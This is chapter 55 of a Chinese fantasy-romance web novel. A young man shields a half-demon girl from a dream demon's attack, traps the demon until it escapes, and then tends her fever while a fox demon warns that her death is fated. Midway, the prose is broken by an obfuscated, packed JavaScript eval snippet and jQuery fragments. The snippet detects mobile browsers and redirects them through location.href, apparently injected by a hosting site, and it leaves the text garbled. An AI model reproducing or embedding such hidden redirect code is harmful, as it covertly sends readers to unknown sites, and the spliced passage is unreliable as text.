55. 第 55 章

作品:《黑月光杀回来了

    温良玉双手蜷在来人胸膛前,腰身被掌心紧贴着拥在怀里,似有若无的热意透过衣服钻进她的肌肤。


    少年声线中带着闷笑道:“这是怎么了?”


    她呆呆地抬起脑袋,只见裴持眼尾弯弯,鸦黑瞳孔里正倒映着她无措的神色,又掺着点点星光,朱唇微微翘起,五官柔和得似树梢霁雪盖着的嫩芽。


    通身墨绿衣裳被风吹得飘逸,衣角扑到她的小腿,小弧度打着巻,激起一团酥麻。


    双目对视,彼此可在眼中寻到自己的影子。


    彩团一簇簇在身上炸开,烟火般的花束一浪更比一浪高,冒出的七彩霞光映照在两人侧脸上,成了最华丽的陪衬。


    “嗯?”少年的脸也像是花渐渐落下瓣叶,现出了最柔软干净的蕊心,不消动作,便已勾住了人的心魂。


    她从茫然中找回神思,立刻牵住他的手腕道:“快走!”说着,便紧拽住他往门外跑。


    那悬在黑空中的梦妖眼一横,一手对付狐妖的攻势,另一手悄悄背在身后聚拢出一团浓郁彩团,直冲他们而去。


    彩团圆润,却如流星般划破凌空,尾梢拖拽着长长火舌。


    狠狠砸下。


    谬尔手颤着,眼中竟流露出了不属于妖的惶然,猛地朝这扑来,却还是晚了一步。


    裴持瞳孔微缩,不假思索的在那一瞬反身,以脊背为盾,将温良玉按住自己的怀中,双手捂着她的后脑勺,让她牢牢缩在盾下。


    先传来的是灼热感,像是在炭盆中被烧透红的铁烙。


    温良玉在他怀里,饶有身上这件衣裳护体,仍被烫得面色赤红,指尖发抖,更遑论全然暴露在彩团下的他了。


    火舌溅下,墨绿衣裳被烧出了黑洞,裸露的肌肤蔓延出了几个圆形烫伤。


    裴持浓密长睫垂下,紧抿着唇,面上只有极致的冷静。


    若他生命的最后一刻,能拥着她作为终结,倒也不算太差。


    雷鸣般沉重又震耳的一声响起。


    以裴持为中心,圈圈白光如烛影般散开,柔软似莲瓣,笼住了一大片地盘。


    彩团一道道突破,每过一圈白光就失去几分光彩,直至最后,像是彻底被融化了般,消弭在天地间。


    一瞬间,又一道团状白光破空而出,直冲梦妖而去。


    与先前彩光有八分相似,却又比其强了数倍。


    梦妖反应极快地避退了几步,可仍被白光散出的强光灼烧,唇角沁下血线。


    她瞪大眼睛,稚嫩声线中满是不可置信:“你是什么人?”说完,踏着虚空,一步步落到了地上,想要靠近却仍忌惮着地上白光。


    裴持松开怀中人,用袖口轻拭她泪涔涔的额角:“伤到了吗?”


    温良玉唇色发白,虚弱地摇了摇头。


    梦妖道:“你到底是什么妖!”


    裴持看了眼手腕上的佛杀,波澜不惊地转了眸。


    梦妖恍了神,皱眉,将目光牢牢定在他脸上,好一会才否定般摇了头,掐腰怒斥道:“你是哪来的凡人,敢坏姑奶奶的好事!快将怀里那小妖松开,我可以发发善心,留你一条小命!”


    裴持眼底一片森冷,扯动唇角勾出抹笑,指尖转动间,地上散成莲花瓣的白光骤然变大变盛,蔓延至梦妖脚下。


    梦妖察觉不对时,脚下已生出了一朵小莲花,正巧能容纳她的身形。


    抬脚想跑,却根本动弹不得,被死死黏在了原地。


    裴持站在风口,墨绿衣角翩跹而起,更显身形单薄瘦削。


    一双眸被纯净高洁的莲花映照着,却窥不见半分霁月之感,更像是吞噬人心的食人花,魅惑又森然,阴郁又恣意,全凭心意地胡作非为。


    他半抬着纤细指尖,微微一屈,那莲花从地面生长,将梦妖包裹在其中。


    梦妖身子开始虚化成缕缕彩线,凌乱地盘成毛团,又隐约传来痛苦的呼唤。


    “救我!狐妖!你我皆是妖,怎能看着一凡人将我迫害至此!”


    谬尔屹然不动,反而饶有兴致地欣赏她挣扎绝望的模样,讽道:“唤我一声爷爷,我考虑考虑?”


    梦妖的话顿时哽住,看不清的脸上涌出怒意。


    下一刻,被罩住的毛团忽地肆虐暴起,扩充至数倍大,将莲花胀大了一个小缝。


    一条彩线飘着从里面逃了出来,消失在天地间。


    院中回荡着梦妖摧枯拉朽的苍老声音:“你们!你们给我等着!我一定会杀了你们!”


    裴持眉心微蹙,不愿轻易放过她,抬脚往前走了几步,却被谬尔拦下:“别追了,她死不了的。”


    他转眸,淡漠看他问道:“为何?”


    谬尔叹息道:“她是梦妖,以凡人的欲望而生,起神动念,便可让凡人浮生若梦,醉溺在臆想中,不知存世多少年了。”


    凡人向死而生,一生短若草木,逢春有时,遇冬死寂,蜉蝣堪堪比过,便祈咏絮般长存。


    梦妖就是应和凡人内心最深处的慾而生的,世上有人求寿命,有人求官运亨通,鲜花着锦,也有人求爱人真心,永伴白头……在梦里,最华丽,最完美,最奢靡的欲望都能成真。


    裴持抿着唇,不知在想什么。


    默了会,忽地注意到了一旁身体虚浮的温良玉,神色慌乱地一手扶她,另一手为她擦着额间冷汗道:“怎么了?哪里不舒服?”


    温良玉眼前一切场景都开始晃悠,天旋地转般看不真切,半靠在他的臂弯上才能立身,颤着唇道:“没、没事,就是有点头晕。”


    谬尔快步上前,神色冷凝,探手拽住她的手腕,停顿了会。


    他松了口气道:“她半妖身子不稳,受到了些冲击,回去休养几日便好了。”


    裴持眉尖仍皱着,连呼吸都放轻了,将她拦腰抱起来,默声往院外走。


    谬尔抬眸看向他们的背影,一言不发,只是眸光稍暗了几分。


    末了,他又扭头,走到了晕死的春雨身前,凝出妖力洗去了她有关于梦妖的记忆,才离开这处。


    冬寒未祛,四处凄冷。


    裴持将温良玉抱回了望舒楼,俯身将人放于榻上。


    温良玉脸色愈发白,汗珠从额间滚落到衣裳里,仍无意识地呢喃着:“热,热……”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15046387|161809||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    裴持推开小窗,几阵寒气瞬间闯入了屋里。


    可温良玉仍觉不够,那件皎白衣裳是干爽的,闷着汗愈发燥热,她开始胡乱扒着,却怎么也脱不去,指尖反倒在脖颈处刺出红痕。


    裴持看得心口泛疼,坐在塌旁将她的手紧紧抓住,防止她乱动。


    过了会,他随手扯下腰间墨绿佩带,束住她的手,转身离开。


    刚到院中,便碰到了谬尔。


    “去哪儿?”谬尔道。


    “寻些冰块。”裴持脚步未停,越过他便想走。


    “不行!”谬尔皱眉道:“她被梦妖妖气灼烧,妖丹晃动,这才郁热在体内,如若受寒,反倒会引起妖丹破碎,难以弥补。”说着,他抬脚往屋内走,迅速将屋内窗关上。


    温良玉热得紧,手挣扎着,被墨绿衣带勒出了红痕。


    裴持上前,将那衣带解开,一掌心握住她乱飘的双手,另一手用帕子擦拭着她的额间汗珠,头一回冷静地与谬尔说话:“有旁的办法能为她散热吗?”


    见他问自己,缪尔面上微微讶异,道:“没有,只能生受。”


    裴持垂下长睫,过了会忽而放轻声音问:“那日你说她活不长,为何?”


    谬尔双手抱胸靠在一旁,嗤了声道:“怎么?你想救她?”


    裴持顿了顿,放下手中帕子,转眸看他极平静地吐字道:“我是要救她,无论付出什么代价。”


    谬尔有些恍神,散漫的神色渐渐消失,认真看他道:“你救不了,我也救不了。”


    裴持未有本分退让:“为何?”


    谬尔:“她的死已成定数。”


    “谁定下的?”


    “上天。”


    少年语气淡淡:“那就反天而行。”


    他神色冷淡,说起话来不徐不疾,像是一件稀松平常的小事般。


    屋外风声瑟瑟,拍打着窗想钻进来,少年的声音轻飘飘,尚不及风声大,却比风重上千钧。


    谬尔怔了怔,他是妖,生来没心没情,更是不信凡人间有所谓真爱,于他而言,与笑话无异。


    温良玉的死不可逆,就算他好心不取妖丹,也会有旁的妖来害她,再过几日,妖丹与凡人身躯相斥,她也会死。


    如若她死了……他想了想拿到妖丹的场景,分明全了心愿,胸口却莫名生出烦闷堵胀之感,这感觉蔓延到眼眶,酸酸涩涩的,叫妖眼皮发麻。


    燥意愈盛,他颇为不自在地看向昏沉的温良玉,因动作剧烈,衣领下滑了些,露出了莹白又分明的锁骨。


    他记起,初见时曾触过她的肌肤,很脆弱的人皮,一碰就能留了一大片红痕,可摸着,似乎触感不错……


    狐妖的双颊间渐渐漫上了潮红,他意识到自己在想什么,低骂了声,落荒而逃般跑出去。


    屋内仅剩下裴持守在温良玉塌前,钳住她手,时不时为她擦汗。


    那一双眸痴迷又饥渴地望向她的脸,久久不移,像是要就此沉溺,可细看,柔情中又冒出幽深偏执的暗色,不休止地翻涌着。


    他呢喃般道:“我不会再让你离开了。”